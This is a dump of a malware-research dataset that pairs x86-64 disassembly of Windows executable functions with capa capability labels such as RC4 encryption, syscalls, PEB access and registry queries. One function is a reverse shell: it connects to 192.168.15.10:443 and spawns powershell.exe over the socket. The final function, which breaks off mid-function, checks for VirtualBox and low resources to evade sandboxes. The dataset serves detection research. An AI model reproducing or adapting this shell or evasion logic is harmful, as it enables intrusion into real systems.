joyce8/EMBER2024-capa huggingface dataset:
Function at 0x297596f60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x29759705e
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rsi
nop dword [rax]
test r8, r8
je 0x297596fe2
cmp r8, rdi
ja 0x297597052
cmp rsi, rbx
je 0x297596fc5
mov rdx, rbx
lea rdi, [rsi + r8]
lea rdi, [rdi - 1]
nop
nop
cmp rdi, rbx
jb 0x297596fc2
mov rdi, rsi
lea r9, [rdx + r8]
lea r9, [r9 - 1]
cmp r9, rsi
jae 0x29759703f
mov rbx, rdx
mov rsi, rdi
nop
jmp 0x297596fc5
mov rbx, rdx
test byte [rax], al
lea rdx, [r8 - 1]
cmp rcx, rdx
jbe 0x297597037
movzx ecx, byte [rax + 0x400]
movzx edx, byte [rax + 0x401]
xor edi, edi
jmp 0x297597020
add rsp, 0x10
pop rbp
ret
movzx r9d, byte [rsi + rdi]
inc ecx
movzx r10d, cl
mov r11d, dword [rax + r10*4]
add edx, r11d
movzx r12d, dl
mov r13d, dword [rax + r12*4]
mov dword [rax + r10*4], r13d
mov dword [rax + r12*4], r11d
lea r10d, [r11 + r13]
movzx r10d, r10b
xor r9d, dword [rax + r10*4]
mov byte [rbx + rdi], r9b
inc rdi
nop dword [rax]
cmp r8, rdi
jg 0x297596fe8
mov byte [rax + 0x400], cl
mov byte [rax + 0x401], dl
add rsp, 0x10
pop rbp
ret
mov rax, rdx
call fcn.2975518c0
lea rax, [0x2975ccd60]
lea rbx, [0x2976407b8]
call fcn.297524920
mov rcx, r8
mov rdx, rdi
call fcn.297551940
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x38], r9
call fcn.29754f620
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
jmp fcn.297596f60

Function at 0x297598c20
Capabilities:
Execute syscall

Disassembly:
xor rax, rax
mov ax, word [rsp + 8]
push rcx
mov rcx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x18]
mov rdi, qword gs:[0x30]
mov dword [rdi + 0x68], 0
sub rsp, 0x80
cmp ecx, 4
jle 0x297598c60
cmp ecx, 0x10
jle 0x297598c56
int 3
mov rdi, rsp
cld
rep movsq qword [rdi], qword [rsi]
mov rsi, rsp
sub rsp, 8
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
mov r9, qword [rsi + 0x18]
movq xmm0, rcx
movq xmm1, rdx
movq xmm2, r8
movq xmm3, r9
mov r10, rcx
syscall
add rsp, 0x88
pop rcx
mov dword [rsp + 0x28], eax
ret
Function at 0x29759ade0
Capabilities:
Hash data using fnv

Disassembly:
test byte [rax], al
mov rcx, rbx
and ebx, 0x7f
shl rbx, 5
lea rdx, [rax + rbx]
xor eax, eax
jmp 0x29759adf7
inc rax
cmp rax, 4
jge 0x29759ae0f
lea rbx, [rdx + rax*8]
mov rbx, qword [rbx]
cmp rbx, rcx
jne 0x29759adf4
mov eax, 1
ret
xor eax, eax
movabs rbx, 0xcbf29ce484222325
jmp 0x29759ae20
inc rax
cmp rax, 4
jge 0x29759ae2e
mov rsi, qword [rdx + rax*8]
xor edi, edi
jmp 0x29759ae57
and ebx, 3
lea rdx, [rdx + rbx*8]
xchg qword [rdx], rcx
xor eax, eax
ret
movzx r8d, sil
xor rbx, r8
inc rdi
shr rsi, 8
movabs r8, 0x100000001b3
imul rbx, r8
cmp rdi, 8
jl 0x29759ae3b
jmp 0x29759ae1d
Function at 0x2975a4ea0
Capabilities:
Access peb ldr_data

Disassembly:
lea r12, [rsp - 0x20]
cmp r12, qword [r14 + 0x10]
jbe 0x2975a5139
push rbp
mov rbp, rsp
sub rsp, 0x98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xa8], rax
nop
lea rax, [0x2975dcf80]
call fcn.2974fcb40
mov qword [rsp + 0x70], rax
mov qword [rax + 8], 9
lea rcx, [0x2975e89aa]
mov qword [rax], rcx
mov byte [rax + 0x10], 1
nop
lea rax, [0x2975dcf80]
call fcn.2974fcb40
mov qword [rsp + 0x68], rax
mov qword [rax + 8], 8
lea rcx, [0x2975e873a]
mov qword [rax], rcx
mov byte [rax + 0x10], 1
nop
lea rax, [0x2975dd040]
call fcn.2974fcb40
cmp dword [0x297745830], 0
jne 0x2975a4f37
mov rcx, qword [rsp + 0x70]
jmp 0x2975a4f44
call fcn.297551540
mov rcx, qword [rsp + 0x70]
mov qword [r11], rcx
mov qword [rsp + 0x60], rax
mov qword [rax + 0x18], rcx
mov qword [rax + 8], 0xd
lea rcx, [0x2975e97ac]
mov qword [rax], rcx
nop
lea rax, [0x2975dd040]
call fcn.2974fcb40
cmp dword [0x297745830], 0
jne 0x2975a4f80
mov rcx, qword [rsp + 0x68]
jmp 0x2975a4f8d
call fcn.297551540
mov rcx, qword [rsp + 0x68]
mov qword [r11], rcx
mov qword [rsp + 0x58], rax
mov qword [rax + 0x18], rcx
mov qword [rax + 8], 0xc
lea rcx, [0x2975e932c]
mov qword [rax], rcx
mov qword [rsp + 0x50], 0
mov rcx, qword [rsp + 0xb0]
mov qword [rsp + 0x40], rcx
lea rax, [0x2975cdee0]
call fcn.2974fcb40
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 0x3000
mov qword [rax + 0x18], 0x40
mov rbx, rax
mov edi, 4
mov rax, qword [rsp + 0x58]
mov rcx, rdi
call fcn.29759e240
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
jbe 0x2975a512e
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x90], rcx
lea rax, [0x2975cde80]
call fcn.2974fcb40
mov rcx, qword [rsp + 0x48]
mov qword [rax], rcx
mov rcx, qword [rsp + 0x90]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0xb0]
mov qword [rax + 0x10], rcx
mov rbx, rax
mov ecx, 3
mov rdi, rcx
mov rax, qword [rsp + 0x60]
nop dword [rax]
call fcn.29759e240
movzx ecx, word [0x2977455c0]
mov word [rsp + 0x3e], cx
lea rdx, [rsp + 0x48]
mov qword [rsp + 0x88], rdx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x80], rdx
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x78], rdx
lea rax, [0x2975cdf40]
nop dword [rax]
call fcn.2974fcb40
mov qword [rax], 0xffffffffffffffff
mov rcx, qword [rsp + 0x88]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x80]
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], 0x20
mov rcx, qword [rsp + 0x78]
mov qword [rax + 0x20], rcx
movzx ecx, word [rsp + 0x3e]
mov word [rsp], cx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], 5
mov qword [rsp + 0x18], 5
call fcn.297598c20
xorps xmm15, xmm15
mov r14, qword [0x2977457f0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x48]
xor ebx, ebx
mov rcx, rbx
mov rdi, rcx
mov rsi, rcx
nop dword [rax]
call fcn.29754e0e0
add rsp, 0x98
pop rbp
ret
xor eax, eax
mov rcx, rax
call fcn.2975518c0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rcx
call fcn.29754f620
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
mov rcx, qword [rsp + 0x18]
nop dword [rax]
jmp fcn.2975a4ea0
Function at 0x2975ab540
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.2975ac3c0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.2975ac3c0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x2975ab5b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x29774a0e4]
mov rbx, rcx
test esi, esi
jle 0x2975ab6e0
mov rax, qword [0x29774a0e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2975ab5fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2975ab685
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2975ab5e0
mov rcx, rbx
call fcn.2975abe10
mov rdi, rax
test rax, rax
je 0x2975ab702
mov rax, qword [0x29774a0e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.2975abf50
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x29774a0e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2975ab6e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x2975ab67e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x2975ab690
add dword [0x29774a0e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x29774a0e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2975ab67e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.2975ab540
nop dword [rax]
xor esi, esi
jmp 0x2975ab608
mov rax, qword [0x29774a0e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.2975ab540
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.2975ab540
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2975aba80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x29774a120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x29774a100]
test rbx, rbx
je 0x2975abadc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x2975abad3
test rsi, rsi
je 0x2975abad3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2975abab8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x2975abe10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2976ea0b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2975abe30
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2975abe38
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2975abe30
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2975abe8d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2975abe84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2975abe30
add rax, 0x28
cmp rax, r9
jne 0x2975abe70
xor eax, eax
ret

Function at 0x2975abe90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2976ea0b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2975abeaf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2975abeb8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2975abeaf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2975abf50
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2976ea0b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2975abf6f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2975abf78
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400012e0
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
lea rax, [rsp + 0x70]
xor r12d, r12d
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edi, r12d
mov r15, rdx
mov r14, rcx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400014c7
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x64]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x64], 0x104
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0xa0]
lea rax, [rsp + 0x7c]
mov dword [rsp + 0x60], r12d
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x7c]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x78]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x74]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x1400014bc
mov qword [rsp + 0x308], rsi
mov esi, r12d
mov qword [rsp + 0x300], rbx
nop word [rax + rax]
mov rcx, qword [rsp + 0x70]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x68]
mov qword [rsp + 0x30], r12
lea r8, [rbp - 0x60]
mov qword [rsp + 0x28], r12
mov edx, esi
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x68], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
jne 0x1400014a0
lea rcx, [rbp - 0x60]
call fcn.140001ff0
mov r9, rax
lea r8, [rbp - 0x60]
mov rdx, r15
mov rcx, r14
mov rbx, rax
call fcn.140001ce0
test al, al
je 0x1400014a0
test rdi, rdi
je 0x14000149d
test rbx, rbx
je 0x1400014a0
mov eax, dword [rbx]
mov ecx, dword [rdi]
cmp eax, ecx
jg 0x14000147e
jne 0x14000145d
mov eax, dword [rbx + 4]
mov ecx, dword [rdi + 4]
cmp eax, ecx
jg 0x14000147e
jne 0x14000145d
mov eax, dword [rdi + 8]
cmp dword [rbx + 8], eax
setg al
test al, al
jne 0x14000147e
lea rcx, [rbx + 0x30]
call fcn.1400017a0
lea rcx, [rbx + 0x10]
call fcn.1400017a0
mov edx, 0x50
mov rcx, rbx
call fcn.140003bb0
jmp 0x1400014a0
lea rcx, [rdi + 0x30]
call fcn.1400017a0
lea rcx, [rdi + 0x10]
call fcn.1400017a0
mov edx, 0x50
mov rcx, rdi
call fcn.140003bb0
mov rdi, rbx
inc esi
cmp esi, dword [rsp + 0x60]
jb 0x1400013d0
mov rbx, qword [rsp + 0x300]
mov rsi, qword [rsp + 0x308]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, rdi
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140003cd0
add rsp, 0x2c0
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x140001ce0
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rsi
push rdi
sub rsp, 0x268
mov rax, qword [0x140021008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rbp, r8
mov rdi, rcx
mov r8, rdx
lea rcx, [rsp + 0x150]
mov edx, 0xff
mov rsi, r9
call fcn.140009528
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x150]
mov rax, rbx
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140001d30
mov edx, 0xff
lea r8, [0x140016410]
sub rdx, rax
lea rcx, [rsp + 0x150]
call fcn.140009588
lea rcx, [rsp + 0x150]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001d60
mov edx, 0xff
lea rcx, [rsp + 0x150]
sub rdx, rax
mov r8, rbp
call fcn.140009588
lea rax, [rsp + 0x38]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x150]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140001ea9
mov edi, 0x104
mov dword [rsp + 0x34], 1
mov r8d, edi
mov dword [rsp + 0x30], 0xff
xor edx, edx
lea rcx, [rsp + 0x40]
call fcn.1400056f0
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.JavaHome
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140001e90
lea rax, [rsp + 0x40]
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140001e10
lea rcx, [rsi + 0x10]
lea rdx, [rsp + 0x40]
call fcn.140001be0
lea rcx, [rsp + 0x40]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140001e30
sub rdi, rax
lea r8, str._binjava.exe
mov rdx, rdi
lea rcx, [rsp + 0x40]
call fcn.140009588
lea rax, [rsp + 0x40]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001e55
mov r8, rbx
lea rcx, [rsi + 0x30]
lea rdx, [rsp + 0x40]
call fcn.140001be0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rcx, qword [rsp + 0x38]
cmp eax, 0xffffffff
setne bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
jmp 0x140001eab
mov ecx, eax
call fcn.1400014f0
mov rcx, qword [rsp + 0x38]
xor bl, bl
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, bl
jmp 0x140001eab
xor al, al
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140003cd0
add rsp, 0x268
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007694
Capabilities:
Allocate thread local storage

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
lea r9, str.FlsAlloc
xor ecx, ecx
lea r8, [0x1400168d0]
lea rdx, str.FlsAlloc
call fcn.1400074bc
mov rbx, rax
test rax, rax
je 0x1400076d4
mov rcx, rax
call fcn.140004904
mov rcx, rdi
call rbx
jmp 0x1400076da
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14000773c
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, ecx
lea r9, str.FlsGetValue
mov ecx, 2
lea r8, [0x1400168f8]
lea rdx, str.FlsGetValue
call fcn.1400074bc
mov rdi, rax
test rax, rax
je 0x14000777d
mov rcx, rax
call fcn.140004904
mov ecx, ebx
call rdi
jmp 0x140007785
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140007790
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, str.FlsSetValue
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x140016910]
call fcn.1400074bc
mov rsi, rax
test rax, rax
je 0x1400077dc
mov rcx, rax
call fcn.140004904
mov rdx, rbx
mov ecx, edi
call rsi
jmp 0x1400077e7
mov rdx, rbx
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Convert ip address from string
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Initialize winsock library

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov ecx, 0x202
lea rdx, [rbp - 0x10]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400011bc
mov eax, dword [0x140002288]
xor r9d, r9d
movsd xmm0, qword [str.192.168.15.10]
mov qword [rsp + 0x2c0], rbx
mov qword [rsp + 0x2c8], rsi
mov esi, 2
mov dword [rbp + 0x198], eax
mov ecx, esi
movzx eax, word [0x14000228c]
mov qword [rsp + 0x2d0], rdi
xor edi, edi
mov dword [rsp + 0x28], edi
movsd qword [rbp + 0x190], xmm0
mov word [rbp + 0x19c], ax
lea edx, [rdi + 1]
mov dword [rsp + 0x20], edi
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000118a
mov ecx, 0x1bb
mov word [rbp - 0x28], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x24]
mov ecx, esi
lea rdx, [rbp + 0x190]
mov word [rbp - 0x26], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x28], rdi
lea rdx, [rbp - 0x28]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_WSAConnect]
cmp eax, 0xffffffff
je 0x14000118a
xorps xmm0, xmm0
mov qword [rbp - 0x50], rbx
movups xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x40]
mov qword [rbp - 0x58], rbx
mov qword [rsp + 0x48], rax
lea rdx, str.powershell.exe
lea rax, [rsp + 0x50]
mov qword [rbp - 0x60], rbx
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rdi
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor ecx, ecx
movups xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [rbp - 0x80], xmm0
mov dword [rsp + 0x20], 1
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x50], 0x68
movups xmmword [rsp + 0x60], xmm0
mov dword [rbp - 0x74], 0x101
movups xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x70], di
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2c8]
xor eax, eax
mov rbx, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.1400011d0
add rsp, 0x2b0
pop rbp
ret
xor eax, eax
jmp 0x1400011a4

Function at 0x140001ae0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b2a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b2a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b2a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b2a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b2a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b2c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x100
mov rdi, r8
mov r14, rdx
mov rsi, rcx
mov r10, 0xffffffffffffffff
nop dword [rax]
inc r10
cmp byte [rcx + r10], 0
jne 0x140001030
xor ecx, ecx
lea rdx, [rsp]
mov r9d, ecx
mov eax, ecx
nop word [rax + rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
inc eax
cmp eax, 0x100
jl 0x140001050
mov r11d, ecx
lea rbx, [rsp]
nop word [rax + rax]
movzx ebp, byte [rbx]
mov eax, r11d
cdq
idiv r10d
movsxd rax, edx
movzx edx, byte [rax + rsi]
add r9d, edx
add r9d, ebp
and r9d, 0x800000ff
jge 0x14000109d
dec r9d
or r9d, 0xffffff00
inc r9d
movsxd rax, r9d
lea rdx, [rsp]
add rdx, rax
inc r11d
movzx eax, byte [rdx]
mov byte [rbx], al
inc rbx
mov byte [rdx], bpl
cmp r11d, 0x100
jl 0x140001070
mov r8d, ecx
sub r14, rdi
mov r11d, 0x200
nop word [rax + rax]
inc ecx
and ecx, 0x800000ff
jge 0x1400010e4
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
lea r9, [rsp]
add r9, rax
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x14000110b
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rax, r8d
lea rdx, [rsp]
add rdx, rax
movzx eax, byte [rdx]
mov byte [r9], al
mov byte [rdx], r10b
movzx edx, byte [r9]
add rdx, r10
movzx eax, dl
movzx edx, byte [rsp + rax]
xor dl, byte [r14 + rdi]
mov byte [rdi], dl
inc rdi
sub r11, 1
jne 0x1400010d0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140001160
Capabilities:
Get hostname
Get memory capacity
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x390
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x380], rax
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x100], 2
jb 0x140001366
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0xa8]
shr rax, 0x14
cmp eax, 0x800
jb 0x140001366
xor ebx, ebx
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rbx
xor r9d, r9d
mov dword [rsp + 0x28], ebx
xor edx, edx
mov dword [rsp + 0x20], 3
lea r8d, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x90]
mov eax, dword [rsp + 0x94]
imul rax, rcx
mov ecx, dword [rsp + 0x8c]
imul rax, rcx
imul rax, qword [rsp + 0x80]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x140001366
lea rdx, [rsp + 0x110]
lea rcx, str.C:WindowsSystem32VBox.dll
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
jne 0x140001366
lea rax, [rsp + 0x68]
xor r8d, r8d
lea r9d, [rbx + 1]
mov qword [rsp + 0x20], rax
lea rdx, str.SYSTEMControlSet001ServicesVBoxSF
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140001366
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x10
